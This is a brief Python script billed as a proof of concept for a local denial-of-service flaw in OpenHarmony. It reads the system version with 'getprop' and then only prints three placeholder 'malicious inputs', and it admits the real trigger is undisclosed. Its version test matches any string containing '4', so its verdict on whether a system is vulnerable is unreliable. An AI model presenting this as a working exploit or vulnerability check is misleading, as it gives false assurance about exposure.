The following code is for security research and authorized testing only.
python
# CVE-2025-6969 PoC - OpenHarmony DOS via Improper Input
# This PoC demonstrates the local denial of service vulnerability
# in OpenHarmony v5.1.0 and prior versions
import subprocess
import sys
import os
def check_vulnerability():
"""
Check if the target system is vulnerable to CVE-2025-6969
"""
print("[*] Checking for CVE-2025-6969 vulnerability...")
print("[*] Target: OpenHarmony <= v5.1.0")
print("[*] Vulnerability Type: Local DOS via improper input")
# Check OpenHarmony version
try:
version_cmd = "getprop ro.build.version.opensource"
result = subprocess.run(version_cmd, shell=True, capture_output=True, text=True)
version = result.stdout.strip()
print(f"[+] Detected OpenHarmony version: {version}")
except:
print("[-] Unable to detect OpenHarmony version")
return False
# Parse version and check if vulnerable
if "5.1" in version or "5.0" in version or "4" in version:
print("[!] System appears to be running a potentially vulnerable version")
return True
else:
print("[-] System version not in commonly affected range")
return False
def trigger_dos():
"""
Attempt to trigger the DOS condition
Note: This is a conceptual PoC. Actual exploit requires specific
input vectors that are not publicly disclosed.
"""
print("\n[*] Attempting to trigger DOS condition...")
print("[*] This PoC demonstrates the vulnerability pattern")
# Example malicious input pattern (conceptual)
malicious_inputs = [
"overflow_input_pattern",
"recursive_input_sequence",
"resource_exhaustion_trigger"
]
for inp in malicious_inputs:
print(f"[*] Testing input: {inp}")
# In actual exploitation, this would call vulnerable OpenHarmony APIs
# with crafted input to trigger the DOS condition
print("\n[!] Note: Actual exploit requires specific vulnerable component access")
print("[!] The vulnerability allows local attacker to cause DOS through improper input")
return True
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-6969 PoC - OpenHarmony DOS Vulnerability")
print("=" * 60)
if check_vulnerability():
print("\n[+] Target is potentially vulnerable")
trigger_dos()
else:
print("\n[-] Target does not appear to be vulnerable")
print("\n[*] Remediation: Upgrade to OpenHarmony > v5.1.0")